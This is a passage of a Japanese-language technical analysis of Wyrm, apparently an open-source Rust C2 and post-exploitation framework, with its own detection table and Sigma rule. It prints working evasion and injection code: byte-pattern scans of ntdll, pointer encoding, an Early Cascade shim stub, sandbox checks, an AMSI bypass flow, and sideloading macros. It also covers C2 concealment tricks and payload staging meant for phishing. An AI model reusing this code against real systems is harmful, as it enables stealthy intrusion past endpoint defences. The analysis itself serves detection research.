- 0xflux: Vectored Exception Handling Squared (Rust)
- CCob (EthicalChaos): Hardware Breakpoints for AMSI bypass
- AMSI Architecture
- Intel SDM Vol.3 Chapter 17: Debug Registers
5.3 アンチサンドボックス (anti_sandbox/)
マウストリガー (trig.rs)
GetCursorPosを繰り返し呼び出し、2点間の角度と移動距離を計算。異常な移動パターン(角度 > MAX_ANGLE、距離 > MAX_TRAVEL_DISTANCE、または移動なし)を検出した場合はループを継続し、実行を遅延させます。タイマー付きで無限ブロックを防止。
自動化されたサンドボックス環境ではマウス移動がシミュレートされないか、機械的な直線移動となるため、人間の操作との区別が可能です。
RAMサイズチェック (memory.rs)
GlobalMemoryStatusExで物理メモリ容量を確認し、閾値未満(通常のサンドボックスVMは1〜4GB程度)であればpanic!()でプロセスを終了。
MITRE ATT&CK マッピング: T1497.001 (Virtualization/Sandbox Evasion: System Checks)
5.4 その他の回避機能
- 文字列暗号化:
str_crypterのsc!マクロによるコンパイル時XOR暗号化(§2.2参照) - StringStomp: C2サーバ側のビルド後処理で、プロファイル指定の文字列パターンをバイナリからゼロ埋めまたは置換
- PE Scrub: Rich Headerの除去等、コンパイラのメタデータを削除
- Timestomp: ファイルのタイムスタンプをプロファイル指定の値で上書き
6. プロセスインジェクション
6.1 Early Cascade Injection (spawn_inject/early_cascade.rs, stubs/shim.rs)
技術的背景
Outflankが2024年10月に公開した研究に基づく、Windowsプロセス初期化の極めて早い段階(ntdll初期化中)でコードを実行するインジェクション手法です。従来のAPC Injection、Thread Hijacking、QueueUserAPC等と異なり、プロセスがユーザーモードの初期化を完了する前に介入するため、EDRのユーザーランドフックが設置される前にコードを実行できます。
ntdll Shimエンジンの悪用
Windowsの互換性レイヤー(Application Compatibility Shim Engine)は、DLLロード時にntdll内部のコールバック機構を通じてShimを適用します。具体的には:
g_ShimsEnabled: Shimエンジンが有効かどうかを示すフラグ(非エクスポート、byte ptr)g_pfnSE_DllLoaded: DLLロード時に呼び出されるコールバック関数ポインタ(非エクスポート)
これらはntdll.dllの非エクスポート変数であり、通常のAPIでは取得できません。
バイトパターンスキャンによるアドレス解決
shared_no_std/src/memory.rs: locate_shim_pointers()がntdll.dllの.textセクションをバイトパターンスキャンして、g_pfnSE_DllLoadedとg_ShimsEnabledのアドレスを特定します:
g_pfnSE_DllLoadedのパターン:
48 8b 3d [d0 c3 12 00] // mov rdi, qword ptr [ntdll!g_pfnSE_DllLoaded] 83 e0 3f // and eax, 3Fh 44 2b e0 // sub r12d, eax 8b c2 // mov eax, edx 41 8a cc // mov cl, r12b
パターン検出後、RIP相対アドレッシングのオフセット(パターン先頭+3バイト目から4バイトのi32)と命令長(7バイト)から実際のアドレスを計算:
let offset = read_unaligned((pattern_addr + 3) as *const i32); let actual_addr = pattern_addr + offset + 7; // RIP + instruction_length + imm32
g_ShimsEnabledのパターン:
e8 [33 38 f5 ff] // call ntdll!RtlEnterCriticalSection 44 38 2d [e4 84 11 00] // cmp byte ptr [ntdll!g_ShimsEnabled], r13b 48 8d 35 [95 89 11 00] // lea rsi, [ntdll!PebLdr+0x10]
スキャン範囲は最大1,500,000バイト。開始アドレスはRtlCompareStringのアドレスを.textセクションの近似開始点として使用。
処理フロー
early_cascade_inject(spawn_as_path, payload_buf) ├─ stomp_pe_header_bytes(buf) // MZヘッダ等の破壊 ├─ CreateProcessA(spawn_as_path, CREATE_SUSPENDED) │ └─ デフォルト: "C:\Windows\System32\svchost.exe" ├─ write_image_rw(h_process, buf) // リモートプロセスにRW書き込み │ ├─ VirtualAllocEx(h_process, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) │ └─ WriteProcessMemory() ├─ find_entrypoint_from_unmapped_image(buf, p_alloc, "Shim") │ └─ 未マップPEからShimエクスポートのアドレスを計算 ├─ encode_system_ptr(p_start) // ntdllポインタ暗号化の準拠 ├─ VirtualProtectEx(PAGE_EXECUTE_READWRITE) ├─ locate_shim_pointers() // バイトパターンスキャン ├─ execute_early_cascade(ptrs, h_process, p_start) │ ├─ WriteProcessMemory(g_pfnSE_DllLoaded = Shimスタブのアドレス) │ └─ WriteProcessMemory(g_ShimsEnabled = 1) └─ ResumeThread(h_thread)
ntdllポインタ暗号化 (encode_system_ptr)
ntdll内部のポインタはSharedUserData!Cookie (0x7FFE0330)で暗号化されています。g_pfnSE_DllLoadedに書き込むポインタもこの暗号化に準拠する必要があります:
fn encode_system_ptr(ptr: *const c_void) -> *const c_void { let cookie = unsafe { *(0x7FFE0330 as *const u32) }; let xored = cookie as usize ^ ptr as usize; let rotated = xored.rotate_right((cookie & 0x3F) as u32); rotated as *const c_void }
SharedUserDataは全プロセスで同一の値がマップされているため、現在のプロセスから読み取ったCookie値はターゲットプロセスでも有効です。
Shimスタブ (stubs/shim.rs: Shim())
ターゲットプロセス内で実行されるスタブ。プロセス初期化中にntdllがg_pfnSE_DllLoadedを呼び出すと、このスタブが実行されます:
pub extern "system" fn Shim() -> u32 { // 1. NtQueueApcThreadを解決 let p_nt_queue_apc_thread = resolve_address("ntdll.dll", "NtQueueApcThread", None); // 2. Shimフラグをクリーンアップ(g_ShimsEnabled = 0に戻す) let shim_ptrs = locate_shim_pointers(); core::ptr::write_unaligned(shim_ptrs.p_g_shims_enabled, 0u8); // 3. 自スレッド(-2)にAPCをキューし、Load()(rDI)を実行 let current_thread = -2isize; // NtCurrentThread擬似ハンドル NtQueueApcThread(current_thread, Load as *const _, 0, 0, 0); }
NtQueueApcThreadで自スレッドにAPCをキューすることで、ntdllの初期化完了後(NtTestAlert呼び出し時)にrDIのLoad()が実行されます。これはクロスプロセスAPC(QueueUserAPC等)を使用しないため、EDRのクロスプロセス監視を回避します。
検知観点: CREATE_SUSPENDEDでのプロセス作成、ntdll内メモリへのWriteProcessMemory(特にg_ShimsEnabledとg_pfnSE_DllLoadedの書き換え)、その後のResumeThreadというパターンは強力なIOCです。作者自身もv0.7.2リリースノートで「EDRに対する有効性には疑問が残る」と記載しています(Smukx氏の検証による)。
MITRE ATT&CK マッピング: T1055.012 (Process Injection: Process Hollowing - 類似手法として)
参考:
- Outflank: Introducing Early Cascade Injection (2024/10)
- MalwareTech: Bypassing EDRs with EDR Preload
- 0xNinjaCyclone/EarlyCascade PoC
6.2 通常インジェクション (spawn_inject/injection.rs)
CreateRemoteThreadを使用する古典的手法(内部名称: "Virgin Inject")。inject <staged_name> <pid>コマンドで使用されます。
処理フロー:
1. C2からステージドペイロードを取得
2. OpenProcess(PROCESS_ALL_ACCESS)でターゲットプロセスを開く
3. VirtualAllocEx(PAGE_READWRITE)でメモリ確保
4. WriteProcessMemory()でペイロード書き込み
5. VirtualProtectEx(PAGE_EXECUTE_READ)で保護属性変更
6. CreateRemoteThread()でペイロードを実行
MITRE ATT&CK マッピング: T1055.001 (Process Injection: DLL Injection)
7. .NETインメモリ実行 (execute/dotnet.rs)
7.1 CLR Hostingフロー
execute_dotnet_assembly(buf, args) ├─ create_clr_instance() // CLRMetaHost取得 (COM: CLSIDFromString + CoCreateInstance) ├─ get_runtime_v4() // ICLRRuntimeInfo → .NET 4.x ランタイム取得 ├─ get_cor_runtime_host() // ICorRuntimeHostインターフェース取得 ├─ start_runtime() // ICLRRuntimeHost::Start() ├─ get_default_appdomain() // デフォルトAppDomain取得 → _AppDomainにキャスト ├─ make_params(args) // 引数をSAFEARRAY化 │ └─ args_to_safe_array() → SafeArrayCreateVector(VT_BSTR) │ └─ SafeArrayCreateVector(VT_VARIANT, 0, 1) でラップ ├─ create_safe_array(buf) // .NETアセンブリバイト列をSAFEARRAY化 │ └─ SafeArrayCreateVector(VT_UI1, 0, buf.len()) ├─ [デコイロード] │ └─ Load_3(decoy_sa) // amsi.dllの強制ロードのため空バイトをロード試行 ├─ evade_amsi() // VEH²でAMSIバイパス (§5.2) ├─ Load_3(target_sa) // 本命アセンブリのロード ├─ get_EntryPoint() // _MethodInfo::get_EntryPoint() ├─ Invoke_3() // _MethodInfo::Invoke_3() で実行 ├─ SafeArrayDestroy(p_sa) // シグネチャ付きアセンブリをメモリから削除 └─ 出力文字列を返却
7.2 COM vtable手動定義
RustにはCOM Interopの標準サポートがないため、必要なCOMインターフェース(ICLRMetaHost, ICLRRuntimeInfo, ICorRuntimeHost, _AppDomain, _Assembly, _MethodInfo等)のvtableを手動で#[repr(C)]構造体として定義し、関数ポインタをunsafeで呼び出しています。
これによりwindowsクレートのCOMサポートへの依存を排除し、バイナリサイズを削減するとともに、EDRが監視する高レベルCOMヘルパー関数の使用を回避しています。
7.3 stdout/stderrキャプチャ
Console.SetOut/Console.SetErrorをCOM経由で呼び出し、StringWriterにリダイレクトすることで、.NETアセンブリの出力をキャプチャしてC2に返送します。これによりRubeus.exe等のツールの出力をオペレータに提供できます。
MITRE ATT&CK マッピング: T1059.001 (PowerShell - .NET assembly execution variant)
参考:
8. DLLサイドローディングとエクスポートプロキシ (utils/proxy.rs, utils/export_comptime.rs)
8.1 ビルド時エクスポート生成
プロファイルのexports設定に基づき、build.rsが3種類のエクスポートを動的生成します:
Type 1: EXPORTS_JMP_WYRM
呼び出されるとstart_wyrm()を起動するエクスポート。build_dll_export_by_name_start_wyrm!マクロで生成:
macro_rules! build_dll_export_by_name_start_wyrm { ($name:ident) => { #[unsafe(no_mangle)] unsafe extern "system" fn $name() { internal_dll_start(StartType::FromExport); } }; }
Type 2: EXPORTS_USR_MACHINE_CODE
ユーザ定義のマシンコード(バイト列)を含むnaked関数として生成。naked_asm!を使用してプロローグ/エピローグなしの純粋なバイト列を出力:
macro_rules! build_dll_export_by_name_junk_machine_code { ($name:ident, $($b:expr),+) => { #[unsafe(no_mangle)] #[unsafe(naked)] unsafe extern "system" fn $name() { naked_asm!($( concat!(".byte ", stringify!($b)), )+) } }; }
Type 3: EXPORTS_PROXY
正規DLLへのエクスポート転送(リンカレベルのexport forwarding):
cargo:rustc-link-arg=/export:FunctionName=target.FunctionName
8.2 プロキシの実行時解決
proxy.rsのresolve_and_call_proxy()は、実行時に正規DLL(System32から読み込み)のエクスポートをLoadLibraryA→GetProcAddressで解決し、transmuteでキャスト後に呼び出します。これにより正規DLLの機能を維持しつつ、Wyrmを並行して起動できます。
MITRE ATT&CK マッピング: T1574.002 (Hijack Execution Flow: DLL Side-Loading)
参考:
9. Wyrm Object Files (WOFs) (wofs/, build.rs)
9.1 概要
WOFはコンパイル時にimplantにスタティックリンクされる小さなコードモジュールです。Cobalt StrikeのBOF (Beacon Object Files)に類似しますが、BOFがランタイムにオブジェクトファイルを動的にロードするのに対し、WOFはビルド時に静的リンクされるため、ランタイムのメモリ操作が不要です。
C/C++のソースまたはプリコンパイル済みの.o/.objファイルをサポートし、Rust(no_std + staticlib)で記述されたモジュールも利用可能です。
9.2 ビルドプロセス
build.rs: build_static_wofs()
├─ WOF環境変数からディレクトリリスト取得
├─ 各ディレクトリについて (wofs_static/<name>/):
│ ├─ .h/.hpp → include パスとして追加
│ ├─ .c/.cpp/.cc → cc::Build で中間オブジェクトにコンパイル
│ └─ .o/.obj → リンカに直接渡す (cargo:rustc-link-arg)
├─ dump_symbols() でエクスポートシンボルを抽出
├─ 生成コード (wof.rs):
│ ├─ extern "C" { fn <symbol>(*const c_void) -> i32; }
│ └─ all_wofs() → &[("name", fn_ptr), ...] のルックアップテーブル
└─ wof.rs として OUT_DIR に書き出し
実行時はwof <function_name> [arg]コマンドでall_wofs()テーブルを検索し、該当するFFI関数を呼び出します。引数は*const c_voidポインタとして渡されます。
9.3 WOFの作成例(Rust)
#![no_std] #![no_main] use core::ptr::null_mut; use windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA}; #[cfg_attr(not(test), panic_handler)] fn panic(_: &core::panic::PanicInfo) -> ! { loop {} } #[unsafe(no_mangle)] pub extern "system" fn rust_bof() -> u32 { let msg = "rust bof\0"; unsafe { MessageBoxA(null_mut(), msg.as_ptr(), msg.as_ptr(), MB_OK); } 0 }
コンパイル: cargo rustc --lib --target x86_64-pc-windows-msvc --release -- --emit=obj -C codegen-units=1
生成された.oファイルをwofs_static/<name>/に配置し、プロファイルのwofsリストに追加するだけで利用可能になります。
MITRE ATT&CK マッピング: T1106 (Native API)
10. C2サーバ (c2/)
10.1 アーキテクチャ
Axumベースの非同期HTTPサーバです。主なコンポーネント:
api/— Axumルーターとハンドラagent_get.rs— エージェントからのGETリクエスト処理(タスク配布)agent_post.rs— エージェントからのPOSTリクエスト処理(結果受信、チェックイン、ファイルexfiltration)admin_routes.rs— オペレータ向けAPI(タスキング、ビルド、ステージング等)
middleware.rs— セキュリティトークンによるエージェント認証ミドルウェアdb.rs— PostgreSQLとのCRUD操作 (sqlxクレート、コンパイル時クエリ検証)profiles.rs— TOMLプロファイルのパースadmin_task_dispatch/— オペレータコマンドの処理とエージェントへのタスク割り当てimplant_builder.rs— 動的ペイロードビルド(cargo build呼び出し + PE加工)pe_utils.rs— PEバイナリの後処理(StringStomp、PE Scrub)net.rs— タスクのシリアライズとネットワークエンコーディング
サーバ設定: POSTボディの最大サイズは100GB(MAX_POST_BODY_SZ)。認証Cookieの有効期限は12時間(COOKIE_TTL)。AxumのCatchPanicLayerでパニックをキャッチし、サーバ全体のクラッシュを防止。
10.2 認証
エージェント認証
middleware.rsのauthenticate_agent_by_header_token()がAuthorizationヘッダのトークンをプロファイル定義のトークンセットと照合。ステージングエンドポイントへのダウンロードリクエストは認証不要(フィッシングキャンペーン等での配布を想定)。
不正なトークンには意図的に502 Bad Gatewayを返す。これはNGINXやロードバランサーのバックエンド障害を装うOPSEC上の判断です。ブルートフォースやスキャナーに対してC2サーバの存在を隠蔽します。未登録のエンドポイントへのアクセスも同様に502を返します。
オペレータ認証
bcryptハッシュ + ランダムsaltで認証。bcrypt(COST, salt, password)のハッシュとsaltをBase64エンコードしてDBに保存。rust-cryptoクレートを使用。セッション管理はaxum-extraのCookieミドルウェアで実装。
10.3 動的ペイロードビルド (admin_task_dispatch/implant_builder.rs)
build_agent() ├─ プロファイルからビルド設定読み込み ├─ エクスポート設定のパース → 環境変数化 ├─ WOF設定のバリデーション (validate_wof_dirs) ├─ cargo build --target x86_64-pc-windows-gnu │ (環境変数でIOCを渡し、feature flagでevasion機能を制御) │ feature flags: patch_etw, patch_amsi, sandbox_trig, sandbox_mem ├─ [オプション] StringStomp でバイナリ加工 │ └─ 指定文字列をゼロ埋めまたは置換 ├─ [オプション] PE Scrub (Rich Header除去等) ├─ XOR暗号化(0x90)してloader用バイナリ生成 ├─ loader のビルド (rDLLを埋め込み) │ └─ EXE, DLL, SVC の3形態を生成 └─ 7zipアーカイブ化 → ブラウザ経由でダウンロード
10.4 プロファイルシステム (profiles.rs)
TOMLベースのプロファイルで、1ファイル内に複数のimplant設定を定義可能:
[server] token = "server_auth_token" [implants.profile_name] svc_name = "WyrmSvc" debug = false [implants.profile_name.network] address = "https://c2.example.com" uri = ["/api/v1", "/health", "/status"] port = 443 token = "agent_token" sleep = 5 useragent = "Mozilla/5.0 ..." jitter = 20 [implants.profile_name.evasion] patch_etw = true patch_amsi = true timestomp = "2024-01-15T12:00:00" spawn_as = "C:\\Windows\\System32\\svchost.exe" [implants.profile_name.anti_sandbox] trig = true ram = true [implants.profile_name.exports] # ... エクスポート定義 [implants.profile_name.string_stomp] # ... 文字列除去パターン mutex = "Global\\WyrmMutex" wofs = ["mimikatz", "custom_tool"]
10.5 ステージングとファイル配布
staged_files/ディレクトリでファイルを管理。各ステージドリソースにはカスタムエンドポイントが割り当てられ、ダウンロード数がDBで追跡されます。
参考:
11. Operator Client (client/)
Leptos(Rustベースのリアクティブフレームワーク)+ WebAssemblyで構築されたSPAです。
主な機能: - ダッシュボード — 接続中エージェントの一覧表示、リアルタイムポーリング - ビーコンコンソール — 各エージェントへのインタラクティブなタスキングインターフェース - プロファイルビルダー — ペイロードのビルドとダウンロード(7zipアーカイブ) - ステージングリソース管理 — ファイルのアップロードとステージング - チャット履歴 — ブラウザのlocalStorageでコンソール出力を永続化 - エージェント通知 — 未読通知のポーリング
Caddyをリバースプロキシとして使用し、Dockerコンテナ内でWASMとして配信されます。
参考:
12. インフラストラクチャ
Docker Compose構成
┌─────────────┐ ┌──────────┐ ┌────────────┐
│ NGINX │────▶│ C2 │────▶│ PostgreSQL │
│ (reverse │ │ (Axum) │ │ │
│ proxy) │ │ :13371 │ │ :5432 │
└─────────────┘ └──────────┘ └────────────┘
│
│ ┌──────────┐
└───────────▶│ Client │
│ (Caddy) │
│ :4040 │
└──────────┘
NGINX設定の詳細
NGINXは以下の機能を提供:
- X-Forwarded-ForヘッダでクライアントIPを転送
- client_max_body_size 0で無制限のPOSTボディを許可(大容量ファイルexfiltration対応)
- CORS設定(Access-Control-Allow-Origin, Access-Control-Allow-Credentials)
- プロキシタイムアウト1200秒(20分)— implantビルドの長時間処理に対応
- proxy_request_buffering offでストリーミングアップロードに対応
PostgreSQL
sqlxのマイグレーションシステムで管理。主要テーブル:
- agents — 接続中エージェントの情報
- tasks — タスクキュー(completedフラグ + agent_id外部キー)
- agent_staging — ステージドペイロードの管理
Dockerボリュームでデータ永続化。.envでDB認証情報と管理者トークンを設定。
13. OPSEC評価と検知観点
検知可能なポイント(Detection Engineering向け)
| 観点 | 詳細 | 検知手法 | MITRE ATT&CK |
|---|---|---|---|
| メモリスキャン | rDIはVirtualAlloc(RW)→VirtualProtect(RX/RWX)パターン。unbacked実行可能メモリ |
ETWプロバイダ Microsoft-Windows-Kernel-Memory、Moneta/pe-sieve |
T1055.001 |
| ETWパッチ | NtTraceEvent先頭バイト0xC3改ざん |
ntdll integrity check、カーネルモードETW監視 | T1562.001 |
| AMSIバイパス (VEH²) | AddVectoredExceptionHandler + Dr0/Dr7変更 |
AVEH呼び出し監視 + デバッグレジスタ変更検知 | T1562.001 |
| Early Cascade | CREATE_SUSPENDED + ntdll WriteProcessMemory + ResumeThread |
Sysmon EventID 1 (ProcessCreate) + EventID 10 (ProcessAccess) | T1055.012 |
| 通信パターン | WWW-Authenticateヘッダにimplant ID。周期的なHTTP GETポーリング |
Zeek/Suricataルール、JA3/JA4フィンガープリント | T1071.001 |
| PowerShell実行 | powershell.exeの子プロセス生成 |
Sysmon EventID 1、ScriptBlock Logging | T1059.001 |
| プロセスツリー | svchost.exe等の不正な親プロセス | プロセスツリー分析 | T1036.005 |
| XOR暗号化 | 固定キー0x3d(ネットワーク)、0x90(ペイロード) |
既知平文攻撃、統計的分析 | T1573.001 |
Sigmaルール例(Early Cascade検知)
title: Suspicious CREATE_SUSPENDED with ntdll Memory Write status: experimental logsource: category: process_access product: windows detection: selection: TargetImage|endswith: '\ntdll.dll' GrantedAccess|contains: '0x20' # PROCESS_VM_WRITE condition: selection level: high
現時点での制限/弱点
| 制限事項 | 影響 | 将来計画 |
|---|---|---|
| syscallの直接/間接呼び出し未対応 | ユーザモードフック(ntdll inline hook)で全API呼び出しが傍受可能 | ロードマップに記載 |
| スリープマスキング未実装 | スリープ中もメモリ内容がスキャン可能(RWXメモリの長時間存在) | ロードマップに記載 |
| スタックスプーフィング未実装 | unbacked memoryからのコールスタックがEDRに検知される | ロードマップに記載 |
| XOR暗号化は暗号学的に脆弱 | 固定キー(0x3d, 0x90)により容易に解読可能 |
PQC暗号化を計画 |
| x86(32bit)未対応 | 32bitプロセスへのインジェクション不可 | - |
| SMBビーコン / DNS C2未実装 | HTTP(S)のみ。ネットワーク制限環境で使用不可 | DNS C2をロードマップに記載 |
| Domain Fronting未実装 | コード内にTODOコメントあり | 将来実装予定 |
参考:
- MITRE ATT&CK - Process Injection
- MITRE ATT&CK - Impair Defenses
- Elastic Security Detection Rules
- SigmaHQ Detection Rules
14. まとめ
Wyrm C2はRustの安全性と低レベル制御能力を活かし、Windows環境に特化したポスト・エクスプロイテーション基盤を提供します。特に以下の点が技術的に注目されます:
- 完全なno_std rDIスタブ — PEB走査によるexport解決、セクションマッピング、IAT patching、ベースリロケーションまでを外部依存なしにRustで型安全に実装。
calculate_image_base()による自己発見メカニズムがEarly Cascade対応の鍵 - Early Cascade Injection — ntdllのShimエンジンのバイトパターンスキャンによる非エクスポート変数の動的解決、
SharedUserData!Cookieによるポインタ暗号化の準拠、intra-process APCによるクロスプロセス監視回避 - VEH²によるAMSIバイパス — ハードウェアブレークポイント(Dr0/Dr7)でコード改ざんなしに
AmsiScanBufferの戻り値を制御。デコイロードによるamsi.dllの強制ロードが成功率を向上 - コンパイル時IOC暗号化 —
build.rs+str_crypterのsc!マクロによるスタック上復号型の文字列暗号化 - 多層的なプロファイル駆動ビルド — エクスポート(3種類)、evasion機能(feature flag)、WOF統合、StringStomp、PE Scrubを宣言的に制御
今後のロードマップにはsyscall対応、スリープマスキング、スタックスプーフィング、PQC暗号化、DNS C2チャネル、Domain Fronting、ルートキット等が含まれており、継続的な開発が見込まれます。
注意: このドキュメントは教育・研究目的で作成されています。実際の使用は法的に許可されたセキュリティテスト環境に限定してください。
(本ドキュメントは2026年2月時点の公開ソースコード(v0.7.2)に基づきます。将来的な更新で変更される可能性があります。)
参考: